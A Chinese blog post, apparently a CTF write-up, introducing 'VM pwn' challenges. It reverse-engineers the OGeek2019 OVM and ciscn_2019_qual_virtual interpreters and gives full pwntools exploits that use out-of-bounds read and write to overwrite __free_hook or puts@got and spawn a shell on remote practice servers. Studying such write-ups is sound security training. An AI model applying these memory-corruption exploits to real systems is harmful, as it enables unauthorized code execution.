VMPWN入门

vmpwn

当作一个vmpwn的入门了,一些设计基础先不谈了,直接来干货。

vmpwn常见设计

  • 初始化分配模拟寄存器空间
  • 初始化模拟栈空间
  • 初始化分配模拟数据存储(buffer)空间 (data段)
  • 初始化伪OPCODE空间 (text段)

常见流程

  • 输入opcode
  • 有一个分析器,循环分解我们输入的opcode来翻译出汇编指令,多为出入栈和调用寄存器

一般漏洞都在越界写和越界读之类的。

例题

[OGeek2019 Final]OVM

main函数分析之后如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int16 code_size; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int16 _bp; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int16 S_P; // [rsp+6h] [rbp-Ah] BYREF
  unsigned int opration; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  comment = malloc(0x8CuLL);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(2, signal_handler);
  write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
  write(1, "PC: ", 4uLL);
  _isoc99_scanf("%hd", &_bp);                   // pc
  getchar();
  write(1, "SP: ", 4uLL);
  _isoc99_scanf("%hd", &S_P);                   // sp
  getchar();
  reg[13] = S_P;                                // 寄存器初始化、
  reg[15] = _bp;
  write(1, "CODE SIZE: ", 0xBuLL);
  _isoc99_scanf("%hd", &code_size);             // opcode的大小
  getchar();
  if ( S_P + code_size > 0x10000 || !code_size )
  {
    write(1, "EXCEPTION\n", 0xAuLL);
    exit(155);
  }
  write(1, "CODE: ", 6uLL);
  running = 1;
  for ( i = 0; code_size > i; ++i )
  {
    _isoc99_scanf("%d", &memory[_bp + i]);
    if ( (memory[i + _bp] & 0xFF000000) == 0xFF000000 )
      memory[i + _bp] = 0xE0000000;
    getchar();
  }
  while ( running )
  {
    opration = fetch();                         // reg15+1
                                                // return memory[reg15]
                                                // 实际上意思就是从bp开始循环拿指令翻译
    execute(opration);                          // 最高字节是opcode
                                                // 第二个字节是answer的index
                                                // 第三个字节是op2
                                                // 第四个是op1
                                                // 从左往右
  }
  write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
  read(0, comment, 0x8CuLL);
  sendcomment(comment);
  write(1, "Bye\n", 4uLL);
  return 0;
}

然后一开始会初始化一个comment,然后最后的时候free掉、

接下来就是分析指令

0x10: reg[byte2] = low a1 #相当于给立即数
0x20: reg[byte2] = 0  #清0
0x30: reg[byte2] = memory[reg[byte4]] #读数
0x40: memory[reg[byte4]] = reg[byte2] 
0x50: #push reg[byte2]
0x60: sp-- reg[byte2] = stack[sp] #pop并且pop后栈顶
0x70: reg[byte2] = reg[byte4] + reg[byte3]
0x80: reg[byte2] = reg[byte3] - reg[byte4]
0x90: reg[byte2] = reg[byte4] & reg[byte3]
0xA0: reg[byte2] = reg[byte4] | reg[byte3]
0xB0: reg[byte2] = reg[byte4] ^ reg[byte3]
0xC0: reg[byte2] = reg[byte3] << reg[byte4]
0xD0: reg[byte2] = reg[byte3] >> reg[byte4]
0xE0: exit

读写两个地方没有验证范围,应该可以越界

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TSPaP2pU-1629877963995)(https://i.bmp.ovh/imgs/2021/08/d14a51e791eb158f.png)]

但是index在0-15以内,后来又看了一下,发现被局限了思维,也被混淆了视线。。。这个越界写的index是以寄存器的值为index,所以很容易造成越界写。

我们的思路是通过偏移打出free_hook-0x8的位置,然后越界写到comment的位置,这样chunk就指向了hook-0x8,然后写入/bin/sh\x00 + system就可以了

但是这个偏移,干了一个多消失就是没看出来怎么计算的。。。

后来发现是libc用错了,。。。所以偏移一直不对。

pwndbg> p &__free_hook
$1 = (<data variable, no debug info> *) 0x7fe75e2567a8 <__free_hook>
pwndbg> p &stdin
$2 = (<data variable, no debug info> *) 0x7fe75e255710 <stdin>
pwndbg> distance 0x7fe75e255710 0x7fe75e2567a8
0x7fe75e255710->0x7fe75e2567a8 is 0x1098 bytes (0x213 words)

然后利用系统最后打印reg的函数泄露出hook地址,然后打出system,最后就可以往里面写。

所以exp如下

from pwn import *

local = 1

binary = "./vmpwn"
libc_path = '/home/moqizou/mine/pwns/libcs/libc-2.23.so'
port = "28795"

if local == 1:
    p = process(binary)
else:
    p = remote("node4.buuoj.cn",port)

def dbg():
    context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

'''
0x10 : reg[num1] = target lowest

0x20 : reg[num1] = target == 0

0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]

0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]

0x50 : (push) stack[(signed int)op] = reg[num1]

0x60 : (pop)  reg[num1] = stack[reg[13]]

0x70 : (add) reg[num1] = reg[num3] + reg[num2]

0x80 : (sub) reg[num1] = reg[num2] - reg[num3]

0x90 : (and) reg[num1] = reg[num3] & reg[num2]

0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]

0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]

0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]

0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]

0xFF : (exit or print) if(reg[13] != 0) print oper
'''

# 0x10 : reg[num1] = target lowest
def set_number(n1,n3):
    return u32((p8(0x10) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0x30 : (mov reg,memory) reg[num1] = memory[reg[num3]]
def read(n1,n3):
    return u32((p8(0x30) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0x40 : (mov memory,reg) memory[reg[num3]] = reg[num1]
def write(n1,n3):
    return u32((p8(0x40) + p8(n1) + p8(0) + p8(n3))[::-1])

# 0xC0 : (<<)  reg[num1] = reg[num2] << reg[num3]
def left(n1,n2,n3):
    return u32((p8(0xc0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xD0 : (>>)  reg[num1] = reg[num2] >> reg[num3]
def right(n1,n2,n3):
    return u32((p8(0xd0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x70 : (add) reg[num1] = reg[num3] + reg[num2]
def add(n1,n2,n3):
    return u32((p8(0x70) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x80 : (sub) reg[num1] = reg[num2] - reg[num3]
def sub(n1,n2,n3):
    return u32((p8(0x80) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0x90 : (and) reg[num1] = reg[num3] & reg[num2]
def And(n1,n2,n3):
    return u32((p8(0x90) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xA0 : (or)  reg[num1] = reg[num3] | reg[num2]
def Or(n1,n2,n3):
    return u32((p8(0xa0) + p8(n1) + p8(n2) + p8(n3))[::-1])

# 0xB0 : (xor) reg[num1] = reg[num3] ^ reg[num2]
def Xor(n1,n2,n3):
    return u32((p8(0xb0) + p8(n1) + p8(n2) + p8(n3))[::-1])

def leak_libc(addr):
    global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    libc = ELF(libc_path)
    libc_base = addr - libc.sym['__free_hook']
    print "[*] libc base:",hex(libc_base)
    __malloc_hook = libc_base + libc.sym['__malloc_hook']
    system = libc_base + libc.sym['system']
    binsh_addr = libc_base + libc.search('/bin/sh').next()
    __free_hook = libc_base + libc.sym['__free_hook']
    _IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

memory = 0x202060
reg = 0x242060
stack = 0x2420A0
comment = 0x202040
stdin = memory - 0xe0
offset = -56  # 0xffffffC8

# reg[num3] = -56 = 0xffffffC8
set_number(3,0xff)
set_number(0,0x8)
left(3,3,0) # 0xff00
set_number(2,0xff)
add(3,3,2)  # 0xffff
left(3,3,0) # 0xffff00
add(3,3,2)  # 0xffffff
left(3,3,0) # 0xffffff00
set_number(2,0xc8)
add(3,3,2)# 0xffffffc8


read(0,3)   # reg[0] = memory[reg[3]] = memory[-56]
set_number(2,1)
add(3,3,2)
read(1,3) #取的是目标的高字节

offset_free_hook_stdin = 0x1090

set_number(5,0x10)
set_number(6,0x8)
left(5,5,6)     # reg[5] = 0x1000
set_number(6,0x90)
add(5,5,6)# reg[5] = 0x1090
add(0,0,5)# reg[0] = memory[-56] + reg[5] -> reg[0]=free_hook-0x8

set_number(6,47)
add(3,3,6)
write(0,3)
#把free_hook写到了comment 这里写的是低字节
set_number(6,1)
add(3,3,6)
write(1,3)
#写高字节
#两个寄存器凑一个free_hook的地址

code = [
set_number(3,0xff),
set_number(0,0x8),
left(3,3,0),
set_number(2,0xff),
add(3,3,2),
left(3,3,0),
add(3,3,2),
left(3,3,0),
set_number(2,0xc8),
add(3,3,2),
read(0,3),
set_number(2,1),
add(3,3,2),
read(1,3),
set_number(5,0x10),
set_number(6,0x8),
left(5,5,6),
set_number(6,0x90),
add(5,5,6),
add(0,0,5),
set_number(6,47),
add(3,3,6),
write(0,3),
set_number(6,1),
add(3,3,6),
write(1,3),
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])
]

p.sendlineafter('PCPC: ',str(0))
p.sendlineafter('SP: ',str(1))
p.sendlineafter('CODE SIZE: ',str(len(code)))
p.recvuntil('CODE: ')

#gdb.attach(p)

for i in code:
    p.sendline(str(i))

p.recvuntil("R0: ")
low_4 = int(p.recv(8),16)
p.recvuntil("R1: ")
high_2 = int(p.recv(4),16)

temp = high_2 << 32
leak = temp + low_4 + 8
log.success("LEAK:{}".format(hex(leak)))
leak_libc(leak)

# dbg()

payload = "/bin/sh\x00" + p64(system)
p.send(payload)


p.interactive()
ciscn_2019_qual_virtual

全流程有点复杂,先看指令

0x11 push
0x12 pop
0x21 add
0x22 sub
0x23 mul
0x24 div
0x31 load
0x32 save
0xff else

然后大致分析下函数。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *s; // [rsp+18h] [rbp-28h]
  void **stack_buffer; // [rsp+20h] [rbp-20h]
  void **op_buffer; // [rsp+28h] [rbp-18h]
  void **data; // [rsp+30h] [rbp-10h]
  char *ptr; // [rsp+38h] [rbp-8h]

  set_init(a1, a2, a3);
  s = (char *)malloc(0x20uLL);
  stack_buffer = (void **)Malloc(64);
  op_buffer = (void **)Malloc(128);
  data = (void **)Malloc(64);
  ptr = (char *)malloc(0x400uLL);
  puts("Your program name:");
  Scanf(s, 32LL);
  puts("Your instruction:");
  Scanf(ptr, 1024LL);
  transelate(op_buffer, ptr);
  puts("Your stack data:");
  Scanf(ptr, 1024LL);
  get_data((__int64)stack_buffer, ptr);
  if ( (unsigned int)sub_401967((__int64)op_buffer, (__int64)stack_buffer, (__int64)data) )
  {
    puts("-------");
    puts(s);
    print((__int64)stack_buffer);
    puts("-------");
  }
  else
  {
    puts("Your Program Crash :)");
  }
  free(ptr);
  Free(op_buffer);
  Free(stack_buffer);
  Free(data);
  return 0LL;
}

main函数大概是先读取一个name然后读取指令,数据,这两次读入都有一个ptr作为缓冲区。最后进入一个指令解析函数

__int64 __fastcall sub_401967(__int64 op_buffer, __int64 s_buffer, __int64 data)
{
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  __int64 opration; // [rsp+28h] [rbp-8h] BYREF

  v5 = 1;
  while ( v5 && (unsigned int)get_op(op_buffer, &opration) )
  {
    switch ( opration )
    {
      case 0x11LL:
        v5 = push(data, s_buffer);              // 从buffer里面取值,存入data
        break;
      case 0x12LL:
        v5 = pop(data, s_buffer);               // data里面取东西给buffer
        break;
      case 0x21LL:
        v5 = add(data);                         // 取出data的两个值,相加存入data
        break;
      case 0x22LL:
        v5 = sub(data);                         // 取出的第一个数-第二个数,答案存入data
        break;
      case 0x23LL:
        v5 = mul(data);                         // 乘法
        break;
      case 0x24LL:
        v5 = div(data);                         // div
        break;
      case 0x31LL:
        v5 = load(data);                        // 读取data第一个数字偏移的内容,任意地址泄露
        break;
      case 0x32LL:
        v5 = save(data);                        // 任意地址写,第二个数字是写入的数据
        break;
      default:
        v5 = 0;
        break;
    }
  }
  return v5;
}

大概如上首先读取操作,然后就去执行。

这里利用的是loadsave函数,这两个函数能够构造出任意地址写和任意地址读。

load

__int64 __fastcall load(__int64 data)
{
  __int64 result; // rax
  __int64 v2; // [rsp+10h] [rbp-10h] BYREF

  if ( (unsigned int)get_op(data, &v2) )
    result = cpy(data, *(_QWORD *)(*(_QWORD *)data + 8 * (*(int *)(data + 12) + v2)));
  else
    result = 0LL;
  return result;
}

save

__int64 __fastcall save(__int64 a1){  __int64 v2; // [rsp+10h] [rbp-10h] BYREF  __int64 v3; // [rsp+18h] [rbp-8h] BYREF  if ( !(unsigned int)get_op(a1, &v2) || !(unsigned int)get_op(a1, &v3) )    return 0LL;  *(_QWORD *)(8 * (*(int *)(a1 + 12) + v2) + *(_QWORD *)a1) = v3;  return 1LL;}

题解

思路的话

    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)

所以目标是劫持puts的got表地址,因为最后有个puts(s)如果s为/bin/sh\x00的话,就可以直接拿到shell了。

但是实现上还是有点绕,主要问题还是在load和save两个函数的理解上,这两个函数,理解点关键在于

*(*(a1+12)+v2) + *a1这句话,前面那个*(a1+12)是数目,加上我们算上的偏移,后面那个*a1是堆地址,也是地址,每次对数据段的操作都是对这个地址的操作。所以目前的思路有两种

  • 第一

改掉基地址,然后在这个基础上去劫持puts的got表

  • 第二

直接按照堆地址的偏移改掉got表

修改got表,主要是依靠load函数和save函数

第二种的话可以先load,把puts的got表都存入data里面,然后push一次system的offset,接着add,得到system的地址,然后push计算出来的偏移,save覆写got就可以了

第一种,可以先push addr push offset save这样改掉基地址,然后load puts@got 然后push offset add 就得到了system,最后push puts的offset 再去save

exp

#第2种方法from pwn import *#p = process('./ciscn_2019_qual_virtual')p = remote("node4.buuoj.cn","29921")p.recvuntil("name:")p.sendline("/bin/sh\x00")p.recvuntil("instruction:")#payload = "push push save"#payload += "push load"payload = "push push save "payload += "push load "#指令之间要空格payload += "push add push save"p.sendline(payload)str1 = ''str1 += str(0x404088) + " "str1 += "-3" + " "str1 += "-12" + " "offset = -0x2a300print hex(offset)str1 += str(offset) + " -12"p.recvuntil("data:")p.sendline(str1)p.interactive()

偏移就拿libc里面的便宜就可以了,但是我这里没打通,我也不知道为啥。。

好吧。。指令之间要空格,我忘记了。。。

总结

太麻烦了。。。。要分析好久,不写了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值